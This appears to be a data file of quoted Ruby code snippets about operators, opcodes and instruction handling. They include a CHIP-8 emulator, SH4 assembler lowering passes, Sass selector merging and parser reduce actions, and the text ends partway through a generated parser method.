"def merge_final_ops(seq1, seq2, res = [])\n ops1, ops2 = [], []\n ops1 << seq1.pop while seq1.last.is_a?(String)\n ops2 << seq2.pop while seq2.last.is_a?(String)\n\n # Not worth the headache of trying to preserve newlines here. The most\n # important use of newlines is at the beginning of the selector to wrap\n # across lines anyway.\n ops1.reject! {|o| o == \"\\n\"}\n ops2.reject! {|o| o == \"\\n\"}\n\n return res if ops1.empty? && ops2.empty?\n if ops1.size > 1 || ops2.size > 1\n # If there are multiple operators, something hacky's going on. If one\n # is a supersequence of the other, use that, otherwise give up.\n lcs = Sass::Util.lcs(ops1, ops2)\n return unless lcs == ops1 || lcs == ops2\n res.unshift(*(ops1.size > ops2.size ? ops1 : ops2).reverse)\n return res\n end\n\n # This code looks complicated, but it's actually just a bunch of special\n # cases for interactions between different combinators.\n op1, op2 = ops1.first, ops2.first\n if op1 && op2\n sel1 = seq1.pop\n sel2 = seq2.pop\n if op1 == '~' && op2 == '~'\n if sel1.superselector?(sel2)\n res.unshift sel2, '~'\n elsif sel2.superselector?(sel1)\n res.unshift sel1, '~'\n else\n merged = sel1.unify(sel2)\n res.unshift [\n [sel1, '~', sel2, '~'],\n [sel2, '~', sel1, '~'],\n ([merged, '~'] if merged)\n ].compact\n end\n elsif (op1 == '~' && op2 == '+') || (op1 == '+' && op2 == '~')\n if op1 == '~'\n tilde_sel, plus_sel = sel1, sel2\n else\n tilde_sel, plus_sel = sel2, sel1\n end\n\n if tilde_sel.superselector?(plus_sel)\n res.unshift plus_sel, '+'\n else\n merged = plus_sel.unify(tilde_sel)\n res.unshift [\n [tilde_sel, '~', plus_sel, '+'],\n ([merged, '+'] if merged)\n ].compact\n end\n elsif op1 == '>' && %w(~ +).include?(op2)\n res.unshift sel2, op2\n seq1.push sel1, op1\n elsif op2 == '>' && %w(~ +).include?(op1)\n res.unshift sel1, op1\n seq2.push sel2, op2\n elsif op1 == op2\n merged = sel1.unify(sel2)\n return unless merged\n res.unshift merged, op1\n else\n # Unknown selector combinators can't be unified\n return\n end\n return merge_final_ops(seq1, seq2, res)\n elsif op1\n seq2.pop if op1 == '>' && seq2.last && seq2.last.superselector?(seq1.last)\n res.unshift seq1.pop, op1\n return merge_final_ops(seq1, seq2, res)\n else # op2\n seq1.pop if op2 == '>' && seq1.last && seq1.last.superselector?(seq2.last)\n res.unshift seq2.pop, op2\n return merge_final_ops(seq1, seq2, res)\n end\n end",
"def instr_REDUCE(instruction_stack)\n\t\targ = @stack.pop\n\t\tcallable = @stack.pop\n\t\[email protected]({\"__callable\" => callable, \"__argument\" => arg})\n\tend",
"def opcode_8XY1(helper)\n\t\thelper.registry_X = helper.registry_X | helper.registry_Y\n\tend",
"def opcode_8XY3(helper)\n\t\thelper.registry_X = helper.registry_X ^ helper.registry_Y\n\tend",
"def processing_instruction!(name, attributes = nil)\n unless attributes\n @buffer << \"<?#{name} ?>\"\n else\n @buffer << \"<?#{name} \"\n attributes.each do |a, v|\n @buffer << %[#{a}=\"#{v}\" ]\n end\n @buffer << \"?>\"\n end\n\n return self\n end",
"def opcode_8XY2(helper)\n\t\thelper.registry_X = helper.registry_X & helper.registry_Y\n\tend",
"def instructions\n \n end",
"def do_something (arg1, arg2, arg3)\n\n\targ1^arg2^arg3\nend",
"def arithmeticUnary(op)\n str = getTopOfStack + \"M=\"+op+\"M\"+\"\\n\"\n return str+\"\\n\"\nend",
"def combine_info\n @combine_info = pipe_names + space_names + comma_names \nend",
"def op2(interp, c1, c2, c3, c4)\n interp.stack.push([(((c1 << 24) | c2 << 16) | c3 << 8) | c4].pack('I').unpack('i').first)\n end",
"def cmd_concat_operator\n\t\t\" & \"\n\tend",
"def processing_instruction(name, content); end",
"def processing_instruction(name, content); end",
"def sh4LowerArgumentSetup(list)\n a0 = RegisterID.forName(codeOrigin, \"a0\")\n a1 = RegisterID.forName(codeOrigin, \"a1\")\n a2 = RegisterID.forName(codeOrigin, \"a2\")\n a3 = RegisterID.forName(codeOrigin, \"a3\")\n newList = []\n list.each {\n | node |\n if node.is_a? Instruction\n case node.opcode\n when \"setargs\"\n if node.operands.size == 2\n if node.operands[1].sh4Operand != a0.sh4Operand\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[0], a0])\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[1], a1])\n elsif node.operands[0].sh4Operand != a1.sh4Operand\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[1], a1])\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[0], a0])\n else\n # As (operands[0] == a1) and (operands[1] == a0), we just need to swap a0 and a1.\n newList << Instruction.new(codeOrigin, \"xori\", [a0, a1])\n newList << Instruction.new(codeOrigin, \"xori\", [a1, a0])\n newList << Instruction.new(codeOrigin, \"xori\", [a0, a1])\n end\n elsif node.operands.size == 4\n # FIXME: We just raise an error if something is likely to go wrong for now.\n # It would be better to implement a recovering algorithm.\n if (node.operands[0].sh4Operand == a1.sh4Operand) or\n (node.operands[0].sh4Operand == a2.sh4Operand) or\n (node.operands[0].sh4Operand == a3.sh4Operand) or\n (node.operands[1].sh4Operand == a0.sh4Operand) or\n (node.operands[1].sh4Operand == a2.sh4Operand) or\n (node.operands[1].sh4Operand == a3.sh4Operand) or\n (node.operands[2].sh4Operand == a0.sh4Operand) or\n (node.operands[2].sh4Operand == a1.sh4Operand) or\n (node.operands[2].sh4Operand == a3.sh4Operand) or\n (node.operands[3].sh4Operand == a0.sh4Operand) or\n (node.operands[3].sh4Operand == a1.sh4Operand) or\n (node.operands[3].sh4Operand == a2.sh4Operand)\n raise \"Potential argument register trampling detected.\"\n end\n\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[0], a0])\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[1], a1])\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[2], a2])\n newList << Instruction.new(codeOrigin, \"move\", [node.operands[3], a3])\n else\n raise \"Invalid operands number (#{node.operands.size}) for setargs\"\n end\n else\n newList << node\n end\n else\n newList << node\n end\n }\n newList\nend",
"def expand(call_params = T.unsafe(nil), full_source = T.unsafe(nil), block_source = T.unsafe(nil)); end",
"def simplify; self; end",
"def cops; end",
"def cops; end",
"def cops; end",
"def do_instruction(opcode)\n sym_op = get_opcode(opcode)\n\n # Byte components\n b1 = (opcode & 0xf000) >> 12\n b2 = (opcode & 0x0f00) >> 8\n b3 = (opcode & 0x00f0) >> 4\n b4 = (opcode & 0x000f)\n\n # print \"Op: \", sym_op, \" | \"\n # print \"Desc: \", get_opcode_desc(opcode), \"\\n\"\n\n # Massive opcode conditional incoming.\n case sym_op\n\n when \"00E0\"\n # Clear the screen.\n @display.each do |row|\n row.each do |col|\n col = 0\n end\n end\n\n when \"00EE\"\n # Return from a subroutine.\n @instruction_ptr = @stack[@stack_ptr]\n @stack_ptr -= 1;\n\n when \"0NNN\"\n # This one isn't actually used by games. Skip it.\n\n when \"1NNN\"\n # Jump to address NNN.\n @instruction_ptr = opcode & 0x0fff\n\n when \"2NNN\"\n # Call subroutine at NNN.\n @stack_ptr += 1\n @stack[@stack_ptr] = @instruction_ptr\n @instruction_ptr = opcode & 0x0fff\n\n when \"3XNN\"\n # Skips next instruction if VX == NN.\n if @registers[b2] == opcode & 0x00ff\n @instruction_ptr += 2\n end\n\n when \"4XNN\"\n # Skips next instruction if VX != NN.\n if @registers[b2] != opcode & 0x00ff\n @instruction_ptr += 2\n end\n\n when \"5XY0\"\n # Skips next instruction if VX == VY.\n if @registers[b2] == @registers[b3]\n @instruction_ptr += 2\n end\n\n when \"6XNN\"\n # Sets VX to NN.\n @registers[b2] = opcode & 0x00ff\n\n when \"7XNN\"\n # Adds NN to VX.\n @registers[b2] += opcode & 0x00ff\n\n when \"8XY0\"\n # Sets VX to VY.\n @registers[b2] += @registers[b3]\n\n when \"8XY1\"\n # Sets VX to (VX or VY).\n @registers[b2] |= @registers[b3]\n\n when \"8XY2\"\n # Sets VX to (VX and VY).\n @registers[b2] &= @registers[b3]\n\n when \"8XY3\"\n # Sets VX to (VX xor VY).\n @registers[b2] ^= @registers[b3]\n\n when \"8XY4\"\n # Adds VY to VX. Sets VF to 1 when carry, 0 otherwise.\n # Only keep lowest 8 bits.\n @registers[b2] += @registers[b3]\n if @registers[b2] > 0xff\n @registers[0xf] = 1\n else\n @registers[0xf] = 0\n end\n @registers[b2] &= 0xff\n\n when \"8XY5\"\n # Subtracts VY from VX. Sets VF to 0 when borrow, 1 otherwise.\n # Only keep lowest 8 bits.\n @registers[b2] -= @registers[b3]\n if @registers[b2] < 0\n @registers[0xf] = 0\n else\n @registers[0xf] = 1\n end\n @registers[b2] &= 0xff\n\n when \"8XY6\"\n # Shifts VX right by one. Sets VF to the LSB of VX before the shift.\n @registers[0xf] = @registers[b2] % 2\n @registers[b2] >>= 1\n\n when \"8XY7\"\n # Sets VX to (VY - VX). Sets VF to 0 when borrow, otherwise 1.\n # Only keep lowest 8 bits.\n @registers[b2] = @registers[b3] - @registers[b2]\n if @registers[b2] < 0\n @registers[0xf] = 0\n else\n @registers[0xf] = 1\n end\n @registers[b2] &= 0xff\n\n when \"8XYE\"\n # Shifts VX left by one. Sets VF to the MSB of VX before the shift.\n @registers[0xf] = (@registers[b2] / 0b1000 > 0 ? 1 : 0)\n @registers[b2] = @registers[b2] << 1 & 0b0111\n\n when \"9XY0\"\n # Skips next instruction if VX == VY.\n if @registers[b2] != @registers[b3]\n @instruction_ptr += 2\n end\n\n when \"ANNN\"\n # Set address register to NNN.\n @addr_register = opcode & 0x0fff\n\n when \"BNNN\"\n # Set instruction pointer to address NNN + V0\n @instruction_ptr = (opcode & 0x0fff) + @registers[0]\n\n when \"CXNN\"\n # Set VX to a random number and NN.\n @registers[b2] = [*0..(opcode & 0x00ff)].sample\n\n when \"DXYN\"\n # TODO this should draw sprites, not just memory bits.\n # Draw N bytes of sprites starting from address register I,\n # at coordinates VX, VY. XORd onto screen. If any sprites overwritten,\n # set VF to 1, otherwise, 0. Wrap sprites if they go outside coordinates.\n overwritten = 0\n for i in 0..b4\n col_offset = (b2 + i) / 0x40\n new_row = (b3 + col_offset) % 0x20\n new_col = b2 % 0x40\n old_pixel = @display[new_row][new_col]\n new_pixel = @memory[@addr_register+i]\n result = old_pixel ^ new_pixel\n\n @display[new_row][new_col] = result\n if old_pixel == 1 and new_pixel == 0\n overwritten = 1\n end\n end\n\n @registers[0xf] = overwritten\n\n when \"EX9E\"\n # Skip the next instruction if the key stored in VX is pressed.\n if keypad[b2] == 1\n @instruction_ptr += 2\n end\n\n when \"EXA1\"\n # Skip the next instruction if the key stored in VX isn't pressed.\n if keypad[b2] == 0\n @instruction_ptr += 2\n end\n\n when \"FX07\"\n # Set VX to the value of the delay timer.\n @registers[b2] = @timers[:delay]\n\n # TODO\n when \"FX0A\"\n # A key press is awaited, and then stored in VX.\n\n when \"FX15\"\n # Sets the delay timer to VX.\n @timers[:delay] = b2\n\n when \"FX18\"\n # Sets the sound timer to VX.\n @timers[:sound] = b2\n\n when \"FX1E\"\n # Adds VX to I\n @instruction_ptr += b2\n\n # TODO\n when \"FX29\"\n # Set I to the location of the sprite for the character in VX. Characters\n # 0-F (in hexadecimal) are represented by a 4x5 font.\n\n # TODO\n when \"FX33\"\n # Store the BCD representation of Vx in memory locations I, I+1, and I+2.\n # The interpreter takes the decimal value of Vx, and places the hundreds\n # digit in memory at location in I, the tens digit at location I+1, and\n # the ones digit at location I+2.\n\n when \"FX55\"\n # Store V0 to VX in memory starting at address I.\n for i in 0..b2\n @memory[@instruction_ptr + i] = @registers[i]\n end\n\n when \"FX65\"\n # Fill V0 to VX with values from memory starting at address I.\n for i in 0..b2\n @registers[i] = @memory[@instruction_ptr + i]\n end\n end\n end",
"def assemble(op)\n dump = \"\"\n Tempfile.open(['getopcode','.o']) do |f|\n `echo '#{op}' | #{$as} #{$flags} -o #{f.path}`\n dump = `#{$objdump} -d #{f.path}`\n end\n\n unless $xmos \n return extract_opcode(dump)\n else\n return xmos_extract_opcode(dump)\n end\nend",
"def operations; end",
"def operations; end",
"def transforming_body_expr=(_); end",
"def op160(interp)\n interp.stack.push(interp.stack.pop, interp.stack.pop)\n end",
"def opcode_8XY0(helper)\n\t\thelper.registry_X = helper.registry_Y\n\tend",
"def refute_operator(o1, op, o2 = T.unsafe(nil), msg = T.unsafe(nil)); end",
"def op; end",
"def sh4LowerSimpleBranchOps(list)\n newList = []\n list.each {\n | node |\n if node.is_a? Instruction\n annotation = node.annotation\n case node.opcode\n when /^b(addi|subi|ori|addp)/\n op = $1\n bc = $~.post_match\n\n case op\n when \"addi\", \"addp\"\n op = \"addi\"\n when \"subi\", \"subp\"\n op = \"subi\"\n when \"ori\", \"orp\"\n op = \"ori\"\n end\n\n if bc == \"s\"\n raise \"Invalid operands number (#{node.operands.size})\" unless node.operands.size == 3\n if node.operands[1].is_a? RegisterID or node.operands[1].is_a? SpecialRegister\n newList << Instruction.new(node.codeOrigin, op, node.operands[0..1])\n newList << Instruction.new(node.codeOrigin, \"bs\", node.operands[1..2])\n else\n tmpVal = Tmp.new(node.codeOrigin, :gpr)\n tmpPtr = Tmp.new(node.codeOrigin, :gpr)\n addr = Address.new(node.codeOrigin, tmpPtr, Immediate.new(node.codeOrigin, 0))\n newList << Instruction.new(node.codeOrigin, \"leap\", [node.operands[1], tmpPtr])\n newList << Instruction.new(node.codeOrigin, \"loadi\", [addr, tmpVal])\n newList << Instruction.new(node.codeOrigin, op, [node.operands[0], tmpVal])\n newList << Instruction.new(node.codeOrigin, \"storei\", [tmpVal, addr])\n newList << Instruction.new(node.codeOrigin, \"bs\", [tmpVal, node.operands[2]])\n end\n elsif bc == \"nz\"\n raise \"Invalid operands number (#{node.operands.size})\" unless node.operands.size == 3\n newList << Instruction.new(node.codeOrigin, op, node.operands[0..1])\n newList << Instruction.new(node.codeOrigin, \"btinz\", node.operands[1..2])\n else\n newList << node\n end\n when \"bmulio\", \"bmulpo\"\n raise \"Invalid operands number (#{node.operands.size})\" unless node.operands.size == 3\n tmp1 = Tmp.new(node.codeOrigin, :gpr)\n tmp2 = Tmp.new(node.codeOrigin, :gpr)\n newList << Instruction.new(node.codeOrigin, node.opcode, [tmp1, tmp2].concat(node.operands))\n else\n newList << node\n end\n else\n newList << node\n end\n }\n newList\nend",
"def _calc operator\n (operand1, operand2) = @stack.pop 2\n @stack.unshift @stack.first\n @stack.push operand1.send(operator.to_sym, operand2)\nend",
"def processing_instruction(data)\n end",
"def merge_effects(expr, effects, results); end",
"def processing_instruction?; end",
"def processing_instruction?; end",
"def visit_opt_plus(code, ins, local_vars, ln, info)\r\n b = @expstack.pop\r\n a = @expstack.pop\r\n @expstack.push lambda {|context| \r\n \"((#{a.call(context)}) + (#{b.call(context)}))\\n\"\r\n }\r\n end",
"def mathtex(*)\n super\n end",
"def operation; end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,args) \"#{op} #{args.join ','}\" end",
"def opcode(op,cond,args) \"#{op}#{cond} #{args.join ','}\" end",
"def body_of(splits)\n (splits.empty?) ? '' : partial_instruction_of(splits)\n end",
"def insert_prefix(code, operations, strings)\n if strings.empty?\n operations.reverse_each do |op|\n code.insert(op[:ends], \"line#{VM_PREFIX}\")\n end\n else\n operations.reverse_each do |op|\n code.insert(op[:ends], \"line#{VM_PREFIX}\") if is_not_in_string?(op[:starts], strings)\n end\n end\n code\nend",
"def _reduce_593(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def _reduce_593(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def ADD(d,x,y) opcode \"add\", [d,x,y] end",
"def build_spaceship_method\n ''.tap do |body|\n\n body << <<-RUBY\n def <=>(other)\n RUBY\n\n if type_guard?\n body << <<-RUBY\n unless other.kind_of?(#{type_guard_value})\n raise TypeError, \"\\#{other.inspect} must be kind of \\#{#{type_guard_value}}\"\n end\n RUBY\n end\n\n body << <<-RUBY\n #{join_attributes}\n RUBY\n\n body << <<-RUBY\n end\n RUBY\n end\n end",
"def selntran(*)\n super\n end",
"def sh4LowerMisplacedSpecialRegisters(list)\n newList = []\n list.each {\n | node |\n if node.is_a? Instruction\n case node.opcode\n when \"move\"\n if node.operands[0].is_a? RegisterID and node.operands[0].sh4Operand == \"pr\"\n newList << Instruction.new(codeOrigin, \"stspr\", [node.operands[1]])\n elsif node.operands[1].is_a? RegisterID and node.operands[1].sh4Operand == \"pr\"\n newList << Instruction.new(codeOrigin, \"ldspr\", [node.operands[0]])\n else\n newList << node\n end\n when \"loadi\", \"loadis\", \"loadp\"\n if node.operands[1].is_a? RegisterID and node.operands[1].sh4Operand == \"pr\"\n tmp = Tmp.new(codeOrigin, :gpr)\n newList << Instruction.new(codeOrigin, node.opcode, [node.operands[0], tmp])\n newList << Instruction.new(codeOrigin, \"ldspr\", [tmp])\n else\n newList << node\n end\n when \"storei\", \"storep\"\n if node.operands[0].is_a? RegisterID and node.operands[0].sh4Operand == \"pr\"\n tmp = Tmp.new(codeOrigin, :gpr)\n newList << Instruction.new(codeOrigin, \"stspr\", [tmp])\n newList << Instruction.new(codeOrigin, node.opcode, [tmp, node.operands[1]])\n else\n newList << node\n end\n else\n newList << node\n end\n else\n newList << node\n end\n }\n newList\nend",
"def combine_name(first_name, last_name)\n # Q3 CODE HERE\n return \"#{first_name} #{last_name}\"\nend",
"def _reduce_596(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def _reduce_587(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def instructions; raise NotImplementedError\n end",
"def instr_BUILD(instruction_stack)\n\t\targ = @stack.pop\n\t\[email protected][\"__state\"] = arg\n\tend",
"def _reduce_595(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def code_and_label\n code << ' - ' << label\n end",
"def merge_initial_ops(seq1, seq2)\n ops1, ops2 = [], []\n ops1 << seq1.shift while seq1.first.is_a?(String)\n ops2 << seq2.shift while seq2.first.is_a?(String)\n\n newline = false\n newline ||= !!ops1.shift if ops1.first == \"\\n\"\n newline ||= !!ops2.shift if ops2.first == \"\\n\"\n\n # If neither sequence is a subsequence of the other, they cannot be\n # merged successfully\n lcs = Sass::Util.lcs(ops1, ops2)\n return unless lcs == ops1 || lcs == ops2\n (newline ? [\"\\n\"] : []) + (ops1.size > ops2.size ? ops1 : ops2)\n end",
"def _reduce_568(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_519(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_520(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def ∑(*addends)\n if addends.any?\n Sigma[*addends]\n else\n Sigma\n end\nend",
"def _reduce_572(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def assemble\n @code.join\n end",
"def _reduce_565(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def opcode_7XKK(helper)\n\t\thelper.registry_X += helper.var_K\n\tend",
"def test_no_branch_for_plus_equals_with_interpolated_string\n assert_alias '\"a\" + \"#{b}\" + \"c\"', <<-'INPUT'\n x = \"a\"\n x += \"#{b}\" if something\n x += \"c\" if something_else\n x\n INPUT\n end",
"def _reduce_563(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def convertArithmetic(op)\n case op\n\n #basic arithmetic operations\n when \"add\"\n cmds = \"//add\"+\"\\n\" + arithmeticBinary(\"+\")\n\n when \"sub\"\n cmds = \"//subtract\"+\"\\n\" +arithmeticBinary(\"-\")\n\n when \"neg\"\n cmds = \"//negate\" +\"\\n\"+arithmeticUnary(\"-\")\n\n #basic bitwise operations\n when \"and\"\n cmds = \"//and\" +\"\\n\"+arithmeticBinary(\"&\")\n\n when \"or\"\n cmds = \"//or\" +\"\\n\"+arithmeticBinary(\"|\")\n\n when \"not\"\n cmds = \"//not\" +\"\\n\"+arithmeticUnary(\"!\")\n else\n cmds = \"//not a legal command\"\n end\n\n return cmds\nend",
"def _reduce_674(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def build_trip(start_line, origin, end_line, destination)\n if start_line == end_line\n single_trip(start_line, origin, destination)\n\n else\n `#{single_trip(start_line, origin, 'Union Square')}\n #{single_trip(end_line, 'Union Square', destination)}`\n end\nend",
"def _reduce_589(val, _values, result)\n name = val[1].to_sym\n self.assignable name\n result = :\"**#{name}\"\n\n result\nend",
"def combine(subStack)\n\t\tstack = []\n\t\tsubStack.each { |ele|\n\t\t\tcase ele\n\t\t\twhen '+', '*'\n\t\t\t\tstack.last << ele\n\t\t\twhen '|', '#', ';'\n\t\t\t\tstack << ele\n\t\t\telse \n\t\t\t\tif stack.size < 2\n\t\t\t\t\tstack << ele \n\t\t\t\telse\n\t\t\t\t\tsign = stack.pop\n\t\t\t\t\targ1 = stack.pop\n\t\t\t\t\targ2 = ele\n\t\t\t\t\tstack << (arg1 + arg2 + sign)\n\t\t\t\tend\n\t\t\tend\n\n\t\t}\n\t\tstack[0]\n\tend",
"def wrap_operand(operand = operand.operand)\n operand.extend(extensions)\n end",
"def op13(interp)\n b, a = interp.stack.pop, interp.stack.pop \n interp.stack.push(Integer(a ** b))\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def upc_e_with_composite_symbology; end",
"def twice_do(action) # this parameter will be taking in a proc since we're using .call in body\n action.call\n action.call\nend",
"def +(other)\n `return self + other;`\n end",
"def +(other)\n `return self + other;`\n end",
"def _reduce_560(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_687(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_566(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_564(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def early_inline(fname, abi, t, a, link_out, code, label)\n # Fresh labels, scalar variables and vector variables on demand.\n # Asking for l[x] the first time generates a new object\n # of the right type. Asking again fetches the same object.\n l = Hash.new{|ht,k| ht[k] = new_label}\n l[0] = label\n l[-1] = link_out\n s = Hash.new{|ht,k| ht[k] = Variable.fresh(:scalar)}\n v = Hash.new{|ht,k| ht[k] = Variable.fresh(:vector)}\n # This special object makes it possible to specify code\n # expansion in a very convenient way.\n # The definition is pretty ugly, don't worry - it just works :-)\n # RUBY 1.9: For Ruby 1.9 .send needs to be changed to .funcall (or .fcall)\n c = Object.new\n (class << c; self; end).send(:define_method, :[]=) {|lab, dsc|\n code[l[lab]] = Code.new(dsc[0], [], dsc[1], *dsc[2..-1].map{|i| l[i]})\n }\n\n case fname\n when 'length'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:dp3, [s[0], a[0], a[0]], 1]\n c[1] = [:rsq, [s[1], s[0]], 2]\n c[2] = [:rcp, [t, s[1]], -1]\n when 'radians'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:mul, [t, a[0], Math::PI/180.0], -1]\n when 'degrees'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:mul, [t, a[0], 180.0/Math::PI], -1]\n when 'inversesqrt'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:rsq, [t, a[0]], -1]\n when 'sqrt'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n c[0] = [:rsq, [s[0], a[0]], 1]\n c[1] = [:rcp, [t, s[0]], -1]\n when 'distance'\n raise \"#{fname} function should have 2 arguments\" unless a.size == 2\n c[0] = [:sub, [v[0], a[0], a[1]], 1]\n c[1] = [:dp3, [s[0], v[0], v[0]], 2]\n c[2] = [:rsq, [s[1], s[0]], 3]\n c[3] = [:rcp, [t, s[1]], -1]\n when 'normalize'\n raise \"#{fname} function should have 1 argument\" unless a.size == 1\n # v1 = arg[0] . arg[0]\n # target = rsq(v1) * arg[0]\n c[0] = [:dp3, [s[0], a[0], a[0]], 1]\n c[1] = [:rsq, [s[1], s[0]], 2]\n c[2] = [:mul, [t, a[0], s[1]], -1]\n else\n #code[l[0]] = Code.new(:call, [], [fname, abi, target, *args], l[-1])\n c[0] = [:call, [fname, abi, t, *a], -1]\n end\nend",
"def two_method(x,y,z)\n\t\tx + y + z\nend",
"def _reduce_686(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def optimize\n wrap_operand\n end",
"def replace_this_with_appropriate_code(x) end",
"def dynasnip(name, code, other_attributes={:render_as => \"Ruby\"})\n snip(name, code, other_attributes)\nend",
"def sh4LowerShiftOps(list)\n newList = []\n list.each {\n | node |\n if node.is_a? Instruction\n case node.opcode\n when \"ulshifti\", \"ulshiftp\", \"urshifti\", \"urshiftp\", \"lshifti\", \"lshiftp\", \"rshifti\", \"rshiftp\"\n if node.opcode[0, 1] == \"u\"\n type = \"l\"\n direction = node.opcode[1, 1]\n else\n type = \"a\"\n direction = node.opcode[0, 1]\n end\n if node.operands[0].is_a? Immediate\n maskedImm = Immediate.new(node.operands[0].codeOrigin, node.operands[0].value & 31)\n if maskedImm.value == 0\n # There is nothing to do here.\n elsif maskedImm.value == 1 or (type == \"l\" and [2, 8, 16].include? maskedImm.value)\n newList << Instruction.new(node.codeOrigin, \"sh#{type}#{direction}x\", [maskedImm, node.operands[1]])\n else\n tmp = Tmp.new(node.codeOrigin, :gpr)\n if direction == \"l\"\n newList << Instruction.new(node.codeOrigin, \"move\", [maskedImm, tmp])\n else\n newList << Instruction.new(node.codeOrigin, \"move\", [Immediate.new(node.operands[0].codeOrigin, -1 * maskedImm.value), tmp])\n end\n newList << Instruction.new(node.codeOrigin, \"sh#{type}d\", [tmp, node.operands[1]])\n end\n else\n tmp = Tmp.new(node.codeOrigin, :gpr)\n newList << Instruction.new(node.codeOrigin, \"move\", [Immediate.new(node.operands[0].codeOrigin, 31), tmp])\n newList << Instruction.new(node.codeOrigin, \"andi\", [node.operands[0], tmp])\n if direction == \"r\"\n newList << Instruction.new(node.codeOrigin, \"negi\", [tmp, tmp])\n end\n newList << Instruction.new(node.codeOrigin, \"sh#{type}d\", [tmp, node.operands[1]])\n end\n else\n newList << node\n end\n else\n newList << node\n end\n }\n newList\nend",
"def ops!\n @ops\n end",
"def client_code2(component1, component2)\n component1.add(component2) if component1.composite?\n\n print \"RESULT: #{component1.operation}\"\nend",
"def _reduce_581(val, _values, result)\n # TODO: differs from parse.y - needs tests\n name = val[1].to_sym\n self.assignable name\n result = :\"*#{name}\"\n \n result\nend",
"def _reduce_581(val, _values, result)\n # TODO: differs from parse.y - needs tests\n name = val[1].to_sym\n self.assignable name\n result = :\"*#{name}\"\n \n result\nend",
"def inline_code; end",
"def instruction\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n value = nil\n instruction_start_index = @input.index\n put_ingredient_into_mixing_bowl1 = nil\n liquefy_mixing_bowl2 = nil\n pour_contents_into_baking_dish3 = nil\n fold_ingredient_into_mixing_bowl4 = nil\n clean_the_mixing_bowl5 = nil\n take_ingredient_from_refrigerator6 = nil\n remove_ingredient_from_mixing_bowl7 = nil\n refrigerate_for_hours8 = nil\n add_ingredient_to_mixing_bowl9 = nil\n serve_with10 = nil\n mix_the_mixing_bowl_well11 = nil\n combine_ingredient_into_mixing_bowl12 = nil\n stir_mixing_bowl13 = nil\n stir_ingredient_into_the_mixing_bowl14 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return value\n end\n # at line 36:3: ( put_ingredient_into_mixing_bowl | liquefy_mixing_bowl | pour_contents_into_baking_dish | fold_ingredient_into_mixing_bowl | clean_the_mixing_bowl | take_ingredient_from_refrigerator | remove_ingredient_from_mixing_bowl | refrigerate_for_hours | add_ingredient_to_mixing_bowl | serve_with | set_aside | mix_the_mixing_bowl_well | combine_ingredient_into_mixing_bowl | divide_ingredient_into_mixing_bowl | stir_mixing_bowl | stir_ingredient_into_the_mixing_bowl )\n alt_1 = 16\n alt_1 = @dfa1.predict( @input )\n case alt_1\n when 1\n # at line 36:5: put_ingredient_into_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_put_ingredient_into_mixing_bowl_IN_instruction_83 )\n put_ingredient_into_mixing_bowl1 = put_ingredient_into_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = put_ingredient_into_mixing_bowl1\n \n # <-- action\n end\n\n when 2\n # at line 39:5: liquefy_mixing_bowl\n @state.following.push( TOKENS_FOLLOWING_liquefy_mixing_bowl_IN_instruction_91 )\n liquefy_mixing_bowl2 = liquefy_mixing_bowl\n @state.following.pop\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n\n value = liquefy_mixing_bowl2\n \n # <-- action\n end\n\n when 3\n # at line 42:5: pour_contents_into_baking_dish\n @state.following.push( TOKENS_FOLLOWING_pour_contents_into_baking_dish_IN_instruction_99 )\n pour_contents_into_baking_dish3 = 